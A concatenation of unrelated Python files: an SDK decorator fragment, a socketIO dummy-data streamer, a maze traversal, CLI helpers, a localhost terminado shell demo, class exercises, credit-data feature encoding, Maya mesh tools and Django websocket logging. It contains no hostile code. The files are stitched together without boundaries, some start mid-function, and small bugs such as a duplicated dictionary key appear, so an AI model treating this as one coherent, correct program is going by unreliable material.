            if len(all_models) > 2:
                raise SABaseException(
                    0,
                    "There are several models with the same name, this functionality is not supported with the SDK"
                )

            if len(all_models) == 0:
                raise SABaseException(
                    0,
                    f"The specifed model does not exist. Available models are {list(all_models_name_map.keys())}"
                )
            elif (
                func.__name__ == 'run_prediction' or
                func.__name__ == 'run_training'
            ):
                new_model_arg = {x['type']: x for x in all_models}
            elif len(all_models) == 2:
                raise SABaseException(
                    0,
                    "There are several models with the same name, this functionality is not supported with the SDK"
                )
            else:
                new_model_arg = all_models[0]

        elif not isinstance(new_kwargs[model_keyword], dict):
            raise SABaseException(
                0, "The model parameter should either be string or a dict"
            )
        new_kwargs[model_keyword] = new_model_arg
        return func(**new_kwargs)

    return inner


from socketIO_client import SocketIO, LoggingNamespace
import json
import datetime, threading, time

sio = SocketIO('http://198.199.126.160', 80)
print('Made socket')
sio.emit('client:status', 'Connected')
print('Connected')
sio.emit('session:new')
print('New session')
sio.emit('session:start')
print('session started')

next_call = time.time()
counter = 0
data = []
with open("dummy_raw_data", 'r') as f:
    data = json.load(f)

while counter < len(data):
    print(json.dumps(data[counter:counter+6]))
    sio.emit('data:acceleration:waveform', json.dumps({'wave': data[counter:counter+6]}))
    next_call += 0.05
    counter += 6
    sleep_time = next_call - time.time()
    if sleep_time > 0:
        time.sleep(sleep_time)

sio.emit('session:stop')
print('session stopped')
sio.emit('client:status', 'Disconnected')
print('Disconnected')

#timerThread = threading.Thread(target=foo)
#timerThread.daemon = True
#timerThread.start()


from room import Room
from player import Player
from world import World

import random
from ast import literal_eval

# Load world
world = World()

# You may uncomment the smaller graphs for development and testing purposes.
# map_file = "maps/test_line.txt"
# map_file = "maps/test_cross.txt"
# map_file = "maps/test_loop.txt"
# map_file = "maps/test_loop_fork.txt"
map_file = "maps/main_maze.txt"

# Loads the map into a dictionary
room_graph=literal_eval(open(map_file, "r").read())
world.load_graph(room_graph)

# Print an ASCII map
world.print_rooms()

player = Player(world.starting_room)

# Fill this out with directions to walk
# traversal_path = ['n', 'n']
traversal_path = []

# Initialize visited dict
visited = {}

# Initialize exit path
exit_path = []

# Dict containing inverse of cardinal directions
inverse_direction = {"n":"s", "e":"w", "s":"n", "w":"e"}

# Add starting room to visited dict
visited[player.current_room.id] = player.current_room.get_exits()

# While all the rooms have not been visited
while len(visited) < len(room_graph):
    # If the player is in a new room
    if player.current_room.id not in visited:
        # add room to visited dict
        visited[player.current_room.id] = player.current_room.get_exits()
        # Add the last value in exit path to directions
        direction = exit_path[-1]
        # then remove the direction you came from
        visited[player.current_room.id].remove(direction)
    # in a room with exhausted directions:
    if len(visited[player.current_room.id]) == 0:
        # Remove the exit path step we just moved
        direction = exit_path.pop()
        # Add that direction to the traversal path
        traversal_path.append(direction)
        # Go back to the room you came from
        player.travel(direction)
    else:
    # in a room with unexplored directions:
        # remove the direction you will go from the room
        direction = visited[player.current_room.id].pop()
        # Append the new direction to the traversal path
        traversal_path.append(direction)
        # Append the opposite direction we came in to the exit path
        exit_path.append(inverse_direction[direction])
        # Travel in an unexplored direction
        player.travel(direction)

# TRAVERSAL TEST
visited = set()
player.current_room = world.starting_room
visited.add(player.current_room)

# get the first room and exits added to the visited
#

for move in traversal_path:
    player.travel(move)
    visited.add(player.current_room)

if len(visited) == len(room_graph):
    print(f"TESTS PASSED: {len(traversal_path)} moves, {len(visited)} rooms visited")
else:
    print("TESTS FAILED: INCOMPLETE TRAVERSAL")
    print(f"{len(room_graph) - len(visited)} unvisited rooms")

#######
# UNCOMMENT TO WALK AROUND
#######
'''
player.current_room.print_room_description(player)
while True:
    cmds = input("-> ").lower().split(" ")
    if cmds[0] in ["n", "s", "e", "w"]:
        player.travel(cmds[0], True)
    elif cmds[0] == "q":
        break
    else:
        print("I did not understand that command.")
'''


import sys
import os
import errno

def get_opt_arg(opt_index):
    arg_index = opt_index + 1
    if arg_index >= len(sys.argv):
        sys.exit("Error: option '%s' requires an argument" % sys.argv[opt_index])
    return arg_index, sys.argv[arg_index]

def check_arg_count(usage, args, **kwargs):
    actual = len(args)
    if "exact" in kwargs:
        expected = kwargs["exact"]
        if actual == 0 and expected > 0:
            usage()
            sys.exit(1)
        if actual < expected:
            sys.exit("Error: not enough command line arguments, expected %s but got %s" % (expected, actual))
        if actual > expected:
            sys.exit("Error: too many command line arguments, expected %s but got %s" % (expected, actual))
    if "min" in kwargs:
        min = kwargs["min"]
        if actual == 0 and min > 0:
            usage()
            sys.exit(1)
        if actual < min:
            sys.exit("Error: not enough command line arguments, need at least %s but got %s" % (min, actual))
    if "max" in kwargs:
        max = kwargs["max"]
        if actual > max:
            sys.exit("Error: too many command line arguments, max is %s but got %s" % (max, actual))

def stat_nothrow(path):
    try:
        return os.stat(path)
    except:
        return None

def clean_pathname(path):
    if path.startswith("./"):
        return path[2:]
    return path

def correct_path(path, base):
    if os.path.isabs(path):
        return path
    return os.path.join(base, path)

def is_bind_mount(path):
    # http://blog.schmorp.de/2016-03-03-detecting-a-mount-point.html
    # This is a hack to determine if a path is a bind mount. It attempts
    # to do an invalid rename which will fail with a different error code
    # depending on if it is a bind mount or not
    try:
        old = os.path.join(path, "..") + "/."
        new =  path + "/."
        os.rename(old, new)
        sys.exit("Error: is_bind_mount relies on an invalid rename but it worked!??! old '%s' new '%s'" % (old, new))
    except OSError as err:
        if err.errno == errno.EXDEV:
            return True
        return False

def yes_or_no(question):
    while True:
        sys.stdout.write(question + " [y/n] ")
        response = input()
        if response == "y":
            return True
        elif response == "n":
            return False


"""A separate terminal for every websocket opened.
"""
import tornado.web

# This demo requires tornado_xstatic and XStatic-term.js
import tornado_xstatic
from common_demo_stuff import STATIC_DIR, TEMPLATE_DIR, run_and_show_browser

from terminado import TermSocket, UniqueTermManager

class TerminalPageHandler(tornado.web.RequestHandler):
    def get(self):
        return self.render(
            "termpage.html",
            static=self.static_url,
            xstatic=self.application.settings["xstatic_url"],
            ws_url_path="/websocket",
        )

def main(argv):
    term_manager = UniqueTermManager(shell_command=["bash"])
    handlers = [
        (r"/websocket", TermSocket, {"term_manager": term_manager}),
        (r"/", TerminalPageHandler),
        (r"/xstatic/(.*)", tornado_xstatic.XStaticFileHandler, {"allowed_modules": ["termjs"]}),
    ]
    app = tornado.web.Application(
        handlers,
        static_path=STATIC_DIR,
        template_path=TEMPLATE_DIR,
        xstatic_url=tornado_xstatic.url_maker("/xstatic/"),
    )
    app.listen(8765, "localhost")
    run_and_show_browser("http://localhost:8765/", term_manager)

if __name__ == "__main__":
    main([])


class Car:
    pass

my_car = Car()
print(type(my_car))

class Car:
    def __init__(self):
        pass

class Car:
    def __init__(self, make, model_name, top_speed, color):
        self.make = make
        self.model_name = model_name
        self.top_speed = top_speed
        self.color = color

mustang = Car(make="Ford", model_name="Mustang", color="Yellow", top_speed="250")
print(mustang)
print(mustang.top_speed, mustang.color)

class Card:
    def __init__(self, name, surname, company, occupation, email):
        self.name= name
        self.surname = surname
        self.company = company
        self.occupation = occupation
        self.email = email
        for name in self.name:  # ale w sumie drukuje po "name" w zakresie "self.name" i mogę drukować wszystkie inne arybuty? :O
          print('{:{align}{width}}'.format(self.name,align='>', width='10'), '{:{align}{width}}'.format(self.surname,align='>', width='14'), self.email)
          break

Wieczorek = Card(name="Bogumił", surname="Wieczorek", company="Canal Villere", occupation="Newsletter writer", email="BogumilWieczorek@teleworm.us")
Duda = Card(name="Izolda", surname="Duda", company="Murray's Discount Auto Stores", occupation="Diesel engine specialist", email="IzoldaDuda@rhyta.com")
Maciejewski = Card(name="Miłogost", surname="Maciejewski", company="Scotty's Builders Supply", occupation="Radio announcer", email="MilogostMaciejewski@dayrep.com")
Dabrowski = Card(name="Hendrych", surname="Dąbrowski", company="Asian Fusion", occupation="Dermatologist", email="HendrychDabrowski@rhyta.com")
Bosonac = Card(name="Gabriela", surname="Bosonac", company="Eli Moore Inc", occupation="Counter clerk", email="GabrielaBosonac@rhyta.com")

from faker import Faker
fake = Faker(['cs_CS', 'sk_SK', 'sl_SI']) # language codes https://www.ibm.com/docs/en/personal-communications/12.0?topic=guide-national-language-support-nls-abbreviations-language-codes
# fake.name()
"""for _ in range(5):
    print(fake.name(), fake.email())"""

class CardB:
    def __init__(self, name, surname, company, occupation, email):
        self.name= fake.name()
        self.surname = None
        self.company = None
        self.occupation = None
        self.email = fake.email()

def fake_person():
    #  fake_list = []
    for _ in range(5):
        fake_data = CardB(name=fake.name(), surname = None, company=None, occupation= None, email=fake.email())
        # fake_list.append(fake_data)
        print('{:{align}{width}}'.format(fake_data.name,align='>', width='24'),'{:{align}{width}}'.format(fake_data.email,align='>', width='30'))
      # return fake_person() # dam ten return bez nawiasów - wtedy mam jeden wynik zwrotny. Dam z nawiasem to leci z danymi, aż do wywalenia.
        # return fake_list
fake_person()


import pandas as pd
import numpy as np
from skmultilearn.problem_transform import LabelPowerset

class FeatureExtraction:
    """ A class that parses input data from file. """

    def __init__(self):
        """ Example of docstring on the __init__ method.  """
        # self._dataFrame = data_frame
        # assert isinstance(self._dataFrame, pd.DataFrame)
        # print self._dataFrame.dtypes

        # self.ml_model(data_frame)

    def apply_all(self, df):
        df = self.map_english_column_names(df)
        df = self.one_hot_encoder(df, exceptions=['Predict'])
        # df['Predict'] = LabelPowerset().transform(df['Predict'])

        return df

    def remove_null_values(self, df):
        """Remove column from dataset if the number of null values is greater than X. """
        assert isinstance(df, pd.DataFrame)

        for column in df:
            numberOfNulls = df[column].isnull().sum()
            lengthOfColumn = len(df[column])
            if numberOfNulls > lengthOfColumn / 4:
                df.drop([column], axis=1, inplace=True)

        return df

    def remove_columns(self, df, columns):
        df.drop(columns, axis=1, inplace=True)
        return df

    def remove_non_numerical_cats(self, df):
        for column in df:
            if not np.issubdtype(df[column].dtype, np.dtype(float).type) and not np.issubdtype(df[column].dtype, np.dtype(int).type):
                df = self.remove_columns(df, column)
        return df

    def one_hot_encoder(self, df, exceptions=None):

        for column in df:
            if column in exceptions:
                continue

            if not np.issubdtype(df[column].dtype, np.dtype(float).type) and not np.issubdtype(df[column].dtype, np.dtype(int).type):
                df = pd.get_dummies(df, columns=[column])
        return df

    def numerical_value_encoder(self, df_credit):
        print("Purpose : ", df_credit.Purpose.unique())
        print("Sex : ", df_credit.Sex.unique())
        print("Housing : ", df_credit.Housing.unique())
        print("Saving accounts : ", df_credit['Saving accounts'].unique())
        print("Risk : ", df_credit['Risk'].unique())
        print("Checking account : ", df_credit['Checking account'].unique())
        print("Aget_cat : ", df_credit['Age_cat'].unique())

        df_credit.Purpose.replace(('radio/TV', 'education', 'furniture/equipment', 'car', 'business',
                                   'domestic appliances', 'repairs', 'vacation/others'), (0, 1, 2, 3, 4, 5, 6, 7),
                                  inplace=True)

        df_credit.Sex.replace(('female', 'male'), (0, 1), inplace=True)

        df_credit.Housing.replace(('own', 'free', 'rent'), (0, 1, 2), inplace=True)

        df_credit["Saving accounts"].replace((str('nan'), 'little', 'quite rich', 'rich', 'moderate'), (0, 1, 3, 4, 2),
                                             inplace=True)

        df_credit.Risk.replace(('good', 'bad'), (0, 1), inplace=True)

        df_credit["Checking account"].replace(('little', 'moderate', 'rich'), (0, 1, 2), inplace=True)

        df_credit["Age_cat"].replace(('Student', 'Young', 'Adult', 'Senior'), (0, 1, 2, 3), inplace=True)

        # for column in df:
        #     if not np.issubdtype(df[column].dtype, np.dtype(float).type) and not np.issubdtype(df[column].dtype, np.dtype(int).type):
        #         catagories = df[column].dropna().unique()
        #         print(catagories)
        #         values = range(0,len(catagories))
        #         df.Purpose.replace(catagories, values, inplace=True)

    def map_english_column_names(self, df):
        map = {
            "A11": "0 DM",
            "A12": "< 200 DM",
            "A14": ">= 200 DM",
            "A14": "No checking acount",
            "A30": "no credits taken/all credits paid back duly",
            "A31": "all credits at this bank paid back duly",
            "A32": "existing credits paid back duly till now",
            "A33": "delay in paying off in the past",
            "A34": "critical account/other credits existing (not at this bank)",
            "A40": "car (new)",
            "A41": "car (used)",
            "A42": "furniture/equipment",
            "A43": "radio/television",
            "A44": "domestic appliances",
            "A45": "repairs",
            "A46": "education",
            "A47": "(vacation - does not exist?)",
            "A48": "retraining",
            "A49": "business",
            "A410": "others",
            "A61": "X < 100 DM",
            "A62": "100 <= X <  500 DM",
            "A63": "500 <= X < 1000 DM",
            "A64": "X >= 1000 DM",
            "A65": "unknown/ no savings account",
            "A71": "unemployed",
            "A72": "X < 1 year",
            "A73": "1 <= X < 4 years",
            "A74": "4 <= X < 7 years",
            "A75": "X >= 7 years",
            "A91": "male divorced/separated",
            "A92": "female divorced/separated/married",
            "A93": "male single",
            "A94": "male married/widowed",
            "A95": "female single",
            "A101": "none",
            "A102": "co-applicant",
            "A103": "guarantor",
            "A121": "real estate",
            "A122": "building society savings agreement/life insurance",
            "A123": "car or other",
            "A124": "unknown / no property",
            "A141": "bank",
            "A142": "stores",
            "A143": "none",
            "A151": "rent",
            "A152": "own",
            "A153": "for free",
            "A171": "unemployed/ unskilled  - non-resident",
            "A172": "unskilled - resident",
            "A173": "skilled employee / official",
            "A174": "management/ self-employed/highly qualified employee/ officer",
            "A191": "none",
            "A192": "yes, registered under the customers name",
            "A201": "yes",
            "A202": "no"}

        for column in df:
            if not np.issubdtype(df[column].dtype, np.dtype(float).type) and not np.issubdtype(df[column].dtype,
                                                                                np.dtype(int).type):
                df[column] = df[column].map(map)

        return df

if __name__ == "__main__":

    print("hello world")


import maya.mel as mel
import maya.cmds as cmds
import cleanup

def normalCheck(meshList=[]):
    """
    Setup normal check properties for a specified list of meshes.
    @param meshList: List of meshes to setup normal check for
    @type meshList: list
    """
    # Check Mesh List
    meshList = cleanup.getMeshList(meshList)
    if not meshList: return []

    # Check Normal Shader
    normalSG = 'normalCheckSG'
    normalShader = 'normalCheckShader'
    if not cmds.objExists(normalShader):
        # Create Shader
        normalShader = cmds.shadingNode('lambert', asShader=True, n=normalShader)
        normalSG = cmds.sets(renderable=True, noSurfaceShader=True, empty=True, name=normalSG)
        cmds.connectAttr(normalShader + '.outColor', normalSG + '.surfaceShader', f=True)
        cmds.setAttr(normalShader + '.color', 0, 0, 0)
        cmds.setAttr(normalShader + '.incandescence', 1, 0, 0)

    # Setup Normal Check
    for mesh in meshList:
        # Clear selection
        cmds.select(cl=True)

        # Turn on double sided
        cmds.setAttr(mesh + '.doubleSided', 1)

        # Extrude face
        numFace = cmds.polyEvaluate(mesh, f=True)
        polyExtrude = cmds.polyExtrudeFacet(mesh + '.f[0:' + str(numFace) + ']', ch=1, kft=True, pvt=(0, 0, 0),
                                          divisions=2, twist=0, taper=1, off=0, smoothingAngle=30)
        mel.eval('PolySelectTraverse 1')
        extrudeFaceList = cmds.filterExpand(ex=True, sm=34)
        cmds.setAttr(polyExtrude[0] + '.localTranslateZ', -0.001)

        # Apply shader
        cmds.sets(extrudeFaceList, fe=normalSG)

    # Set selection
    cmds.select(meshList)

    # Retrun result
    return meshList

def normalCheckRemove(meshList):
    """
    Remove normal check properties for a specified list of meshes.
    @param meshList: List of meshes to removes normal check from
    @type meshList: list
    """
    # Check Mesh List
    meshList = cleanup.getMeshList(meshList)
    if not meshList:
        return []

    # Remove Normal Check
    for mesh in meshList:

        # Clear Selection
        cmds.select(cl=True)

        # Turn Off Double Sided
        cmds.setAttr(mesh + '.doubleSided', 0)

        # Remove Extrude Face
        polyExtrude = cmds.ls(cmds.listHistory(mesh), type='polyExtrudeFace')
        if polyExtrude: cmds.delete(polyExtrude)

        # Delete History
        cmds.delete(mesh, ch=True)

        # Apply Initial Shading Group
        cmds.sets(mesh, fe='initialShadingGroup')

    # Check normalShader members
    normalSG = 'normalCheckSG'
    normalShader = 'normalCheckShader'
    if not cmds.sets(normalSG, q=True): cmds.delete(normalShader, normalSG)

    # Set Selection
    cmds.select(meshList)

    # Retrun Result
    return meshList


# 5178. [파이썬 S/W 문제해결 기본] 8일차 - 노드의 합 D3
for tc in range(1, int(input()) + 1):
    i = input().split()
    n, m, l = int(i[0]), int(i[1]), int(i[2])
    ns = [None] * (n + 1)
    for _ in range(m):
        i = input().split()
        ns[int(i[0])] = int(i[1])
    t = n
    if n % 2 == 0:
        ns[t // 2] = ns[t]
        t -= 1
    while t > 1:
        ns[t // 2] = ns[t] + ns[t - 1]
        t -= 2
    print("#{} {}".format(tc, ns[l]))


import json
from channels import Group
from channels.auth import channel_session_user, channel_session_user_from_http

import os
os.environ['DJANGO_SETTINGS_MODULE'] = 'myproject.settings'
import time

def getLogDirPath():
    if 'OPENSHIFT_DATA_DIR' in os.environ:
        # 表示程式在雲端執行
        dataDir = os.environ['OPENSHIFT_DATA_DIR']
    else:
        # 表示程式在近端執行
        dataDir = os.path.join(os.getcwd(), os.path.dirname(__file__))

    dataDir = os.path.join(dataDir, "LogData")
    return dataDir

def logToFile(message):
    #判斷資料夾是否存在
    dataDir = getLogDirPath()
    if not os.path.exists(dataDir):
        os.makedirs(dataDir)

    #datetime換用time
    #datefmt = "%Y-%m-%d"
    #datetimefmt = "%Y/%m/%d %H:%M:%S"
    #currentDatetime = datetime.strftime(datetime.now(), datetimefmt)
    #fileName = datetime.strftime(datetime.now(), datefmt) + ".txt"

    currentDatetime = time.strftime("%Y/%m/%d %H:%M:%S")
    fileName = time.strftime("%Y-%m-%d") + ".txt"
    textFile = open(os.path.join(dataDir, fileName), "a")
    text = "%(asctime)s - %(module)s\n%(message)s\n\n" % \
            ({"asctime" : currentDatetime, "module" : __file__, "message" : message})
    textFile.write(text)
    textFile.close()

def ws_receive(message):
    # ASGI WebSocket packet-received and send-packet message types
    # both have a "text" key for their textual data.
    logToFile("ws_connect")
    message.reply_channel.send({
        "text": "text",
    })

#@channel_session_user_from_http
def ws_connect(message):
    logToFile("ws_connect")
    message.reply_channel.send({"accept": True})
    # message.reply_channel.send({
    #     "text": "text",
    # })
    # Group('users').add(message.reply_channel)
    # Group('users').send({
    #     'text': json.dumps({
    #         'username': message.user.username,
    #         'is_logged_in': True
    #     })
    # })

#@channel_session_user
def ws_disconnect(message):
    logToFile("ws_disconnect")
    message.reply_channel.send({
        "text": "text",
    })
    # Group('users').send({
    #     'text': json.dumps({
    #         'username': message.user.username,
    #         'is_logged_in': False
    #     })
    # })
    # Group('users').discard(message.reply_channel)